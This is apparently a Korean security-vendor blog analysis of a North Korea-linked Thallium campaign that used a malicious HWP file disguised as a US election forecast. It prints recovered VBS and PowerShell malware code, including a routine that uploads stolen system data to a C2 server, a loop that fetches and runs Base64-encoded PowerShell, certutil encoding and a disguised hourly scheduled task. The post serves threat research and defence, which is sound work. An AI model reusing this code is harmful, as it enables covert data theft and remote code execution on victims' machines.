북한 연계 해킹조직 탈륨, 미국 대선 예측 언론 문서로 위장한 APT 공격 수행

By 알약(Alyac)

Published: 2020-11-03 · Archived: 2026-04-05 13:17:58 UTC

안녕하세요? 이스트시큐리티 ESRC(시큐리티대응센터) 입니다.

2020년 11월 03일 마치 미국 대선 예측과 관련된 언론사 문건처럼 위장한 악성 HWP 문서 파일이 바이러스토탈 서비스에 등록된 것이 확인 됐습니다.

[그림 1] 바이러스 토탈 구글 서비스에 등록된 악성 파일 화면

해당 악성 파일은 얼마 남지 않은 미국 대선 예측이라는 테마를 시기적절하게 사용했으며, 다음과 같은 형식을 가지고 있습니다.

파일 이름	파일 크기	마지막 저장 계정	마지막 수정 날짜
미국 대선 예측 - 미주중앙일보.hwp	36,352 바이트	Admin	2020-11-01 11:23:35 (KST)

그동안 악성 HWP 문서는 주로 포스트 스크립트(Post Script) 취약점과 셸코드(Shellcode)를 결합한 공격이 상대적으로 높았습니다.

그러나 관련 취약점의 문제가 해소된 한컴 오피스 최신 제품의 보급이 커지자, 한국대상 위협 행위자들이 객체 연결 삽입(Object Linking and Embedding, OLE) 기능을 교묘히 악용하고 있습니다.

참고로 OLE 기능은 마이크로 소프트사가 개발한 기술로서 문서와 기타 객체에 연결과 삽입을 도와주는 연결규약으로 정의되고, 문서 파일에서 활용도가 많은 편인데, 한컴 오피스 제품에서는 '객체' 대신 '개체'라는 표현을 사용 합니다.

- https://help.hancom.com/hoffice/webhelp/9.0/ko_kr/hwp/insert/objectinsert.htm

이번에 발견된 악성 HWP 파일은 다음과 같이 악성 'BIN0001.OLE' 데이터가 삽입되어 있습니다.

[그림 2] 악성 HWP 문서 내부 구조 화면

OLE 내부를 살펴 보면, 악성코드 제작자가 VBS(비주얼 베이직 스크립트) 명령을 삽입한 내용과 제작 폴더 경로를 확인할 수 있습니다.

제작자가 사용한 폴더 경로는 다음과 같고 바이러스 제작(Build Virus), 제작 시점 11월 01일(1101), VBS 이름 등의 의미가 담긴 것을 볼 수 있습니다. 물론, 변종에 따라 해당 경로는 조금씩 다르게 표시 됩니다.

F:\Sheet_Build_Virus\1101\Hancom.Configuration.VBS

그리고 VBS 코드에는 한국의 특정 병의원 사이트(xeoskin.co[.]kr) 주소가 명령제어(C2) 서버로 지정된 것을 알 수 있습니다. 해당 웹 사이트는 해커의 지령 서버로 노출된 상태 입니다.

[그림 3] OLE 내부에 포함된 악성 VBS 코드와 제작자 흔적

내부 화면으로 보아 악성 VBS 코드가 작동되면 C2 서버의 PHP 인자값을 받고, 준비된 추가 명령을 수행하게 됩니다.

이제 실제 악성 HWP 문서가 실행된 후, 어떤 절차를 통해 OLE 데이터와 VBS 코드가 연결되는지 살펴보고자 합니다.

해당 본문의 첫 페이지는 영어로 'Outlook and Tasks for U.S. North Korea Policy Post-Election' 제목을 담고 있는데, 실제 이 내용은 미국 정성장 윌슨센터 연구위원(세종연구소 수석연구위원)이 전망한 내용으로 확인 됩니다.

- https://www.wilsoncenter.org/blog-post/outlook-and-tasks-us-north-korea-policy-post-election

그리고 6페이지 부터는 한글로 작성된 내용이 포함되어 있습니다.

[그림 4] 악성 HWP 문서가 실행된 후 보여지는 본문

해당 문서에는 OLE 데이터가 눈에 띄지 않도록 교묘하게 숨겨져 있지만, 설정 변경을 통해 확인이 가능합니다.

더불어 삽입된 위치에 접근시 자동으로 생성되고 클릭할 경우 악성 VBS 명령이 수행되지만, 한컴 오피스 제품에서 버전 및 설정에 따라 보안 경고 메시지를 띄어 줍니다.

따라서 보안 경고 메시지가 보여질 경우 절대 [열기]나 [한 번 허용] 등을 하지 않도록 주의하고, 반드시 [취소]를 선택하는 것이 안전 합니다.

[그림 5] 악성 VBS 보안 경고 화면

VBS 코드가 실행되면 내부 명령에 따라 다음과 같은 기능이 단계적으로 작동합니다. 다만, 위협 행위자는 분석환경 및 접속자 등을 아이피(IP)로 기록해 중복 접근자에게 내부 명령이 쉽게 노출되지 않도록 나름 치밀한 서버접근 규칙을 적용합니다.

이러한 방식은 기존 탈륨(=김수키) 조직의 '스모크 스크린(Smoke Screen)' 위협 캠페인과 동일한 전술, 기법, 절차(Tactics, Techniques and Procedures, TTPs)를 가집니다.

더불어 기존에 여러번 공개된 바 있는 'pre.hta', 'suf.hta', 'cross.php?op=인자값' 등의 구성이 모두 동일한데, 이번에는 'pre.hta'가 생략 되었지만 실제 C2 서버에 존재하는 것은 확인 되었습니다.

- http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/pre.hta (생략) -> 실제 서버에 존재

a. Hancom.Configuration.VBS

b. http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/cross.php?op=1

c. http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/suf.hta

d. http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/cross.php?op=3

e. http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/cross.php?op=2 -> (Base64 Powershell Keylogger)

'cross.php?op=1' 단계에서는 MS 오피스 VBA 레지스트리 보안 설정 변경과 수집된 로그정보 전달규칙 등을 선언 합니다.

이때 사용하는 폼 데이터 바운더리 문자열 (multipart/form-data; boundary=----1f341c23b5204)은 기존 탈륨 조직이 여러차례 사용한 바 있습니다.

```
Sub Report(tar)

bnd = "----1f341c23b5204"

disp = "--" + bnd + vbCrLf + "Content-Disposition: form-data; name="

sz = "MAX_FILE_SIZE"

pd = disp + """" + sz + """" + vbCrLf + vbCrLf

pd = pd + "1000000" + vbCrLf

f = "file"

fn = "1.txt"

pd = pd + disp + """" + f + """"

pd = pd + "; filename="

set fp = obt(1).opentextfile(tar, 1, false, -2)

readData = fp.readall

fp.close

Roller("cmd /c del " & tar)
```

```
pd = pd + """" + fn + """" + vbCrLf

pd = pd + "Content-Type: text/plain" + vbCrLf + vbCrLf

pd = pd + readData + vbCrLf + "--" + bnd + "--"

with obt(2)

.open "POST", mas & "report.php", False

.setRequestHeader "Content-Type", "multipart/form-data; boundary=----1f341c23b5204"

.send pd

end with

Set obt(2) = Nothing

End Sub
```

그리고 GetInfo 서브함수를 통해 윈도우 운영체제의 각종 시스템 정보와 프로세스 목록, 설치된 프로그램 리스트를 'sr011.xml' 파일로 만들고, certutil.exe 프로그램의 Base64 인코딩 기능을 통해 'sr011.xml' 파일을 'conv.xml' 파일로 변환 합니다.

[그림 6] C2 서버에 숨겨져 있던 'pre.hta' 화면

[그림 7] 실제 공격 명령에 사용된 'suf.hta' 화면

'conv.xml' 파일 변환 과정 후에 작업스케줄러 생성 명령을 통해 매 1시간 마다 C2 서버의 'suf.hta' 주소로 접속해 실행되도록 설정 합니다.

이때 사용된 이름은 마치 한국의 보안회사 프로그램 업데이트(AhnlabUpdate)처럼 위장하였습니다.

[그림 8] 작업 스케줄러에 등록된 악성 명령 화면

'suf.hta' 명령이 실행되면, 'cross.php?op=3' 단계로 이어지고 파워셸 롤러(PowRol) 서브 함수를 통해 'cross.php?op=2' 주소로 다시 연결 됩니다.

물론, 이외에도 정보 수집 기능은 계속 포함되어 있습니다.

```
Sub Roller(param)

ws.run param, 0, true

End Sub

Sub PowRol()

dim content

ox.open "GET", uri & "cross.php?op=2", False

ox.Send

content = ox.responseText

Roller("powershell.exe -noprofile -sta -encodedcommand " & content)
```

```
End Sub

Sub Report(parmPath)

set fp = oFile.opentextfile(parmPath, 1, false, -2)

readData = fp.readall

fp.close

boundary = "----1f341c23b5204"

postData = "--" + boundary + vbCrLf + "Content-Disposition: form-data; name=""MAX_FILE_SIZE""" + vbCrLf+ vbCrLf + "1000000" + vbCrLf + "--" + boundary + vbCrLf + "Content-Disposition: form-data; name=""file""; filename=""1.txt""" + vbCrLf + "Content-Type: text/plain" + vbCrLf + vbCrLf + readData + vbCrLf + "--" + boundary + "--"

with ox

.open "POST", uri & "report.php", False

.setRequestHeader "Content-Type", "multipart/form-data; boundary=----1f341c23b5204"

.send postData

end with

Roller("cmd /c del "&dst&";del "&src)

End Sub

dim uri, dir, src, dst

uri = "http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/"

dir = ws.ExpandEnvironmentStrings("%appdata%") & "\Microsoft\Network"

If oFile.FolderExists(dir) = false Then

oFile.CreateFolder(dir)

End If

src= dir & "\sr011.xml"

dst= dir & "\conv.xml"

If oFile.FileExists (src) Then

Roller("certutil -f -encode " & src & " " & dst)
```

Report(dst)

End If

PowRol

'cross.php?op=2' 단계에서는 Base64 문자로 인코딩된 파워셸 명령어가 호출되는데, 디코딩 후에는 'Global\AlreadyRunning191122' 뮤텍스 코드가 존재합니다.

이때 사용된 뮤텍스 이름은 기존에 여러차례 보고된 탈륨 조직의 문자열과 정확히 일치 합니다.

$bTrue=1;

$mutexName="Global\AlreadyRunning191122";

$Path="$env:appdata\Microsoft\Network\sr011.xml"

try{

$mutexOpen=[System.Threading.Mutex]::OpenExisting($mutexName);

#echo"MutexAlreadyExist!!!";

$bTrue=0;

}

catch{

#echo"MutexNotExist!!!";

$mutexNew=New-ObjectSystem.Threading.Mutex([bool]1,$mutexName);

탈륨 조직은 미국 마이크로 소프트사가 북한과 연계된 해킹조직으로 정식 고소해 현재 궐석 재판이 진행 중인 가운데, 대한민국을 상대로 한 다양한 APT(지능형지속위협) 공격도 감행 중입니다.

특히 HWP, DOC 등의 문서 파일 기반의 공격 뿐만 아니라, WSF 와 EXE 실행파일을 이용한 공격까지 포함하면 말 그대로 파상공세를 이어가고 있습니다.

이들의 사이버 첩보 활동을 오랜 기간 추적 관찰한 결과, 전략 전술이 꾸준히 발전하고 고도화되고 있어 더 많은 연구와 방어 노력이 필요한 시점입니다.

다가오는 미국 대통령 선거 등 국제적으로 관심이 높은 키워드나 호기심을 유발할 수 있는 내용이 해킹 공격에 좋은 먹잇감이 될 수 있다는 것을 항상 명심하고, 유사한 보안 위협에 현혹되거나 쉽게 노출되지 않도록 더 많은 관심과 보안실천 노력이 필요 하겠습니다.

저희 ESRC에서는 앞으로도 탈륨과 같은 정부차원의 해킹조직에 대한 보다 체계적이고 전문화된 연구를 지속할 것 입니다. 아울러 신속한 분석과 대응 역량을 높이기 위해 더욱 더 연구에 매진할 것입니다. 감사합니다.

Source: https://blog.alyac.co.kr/3352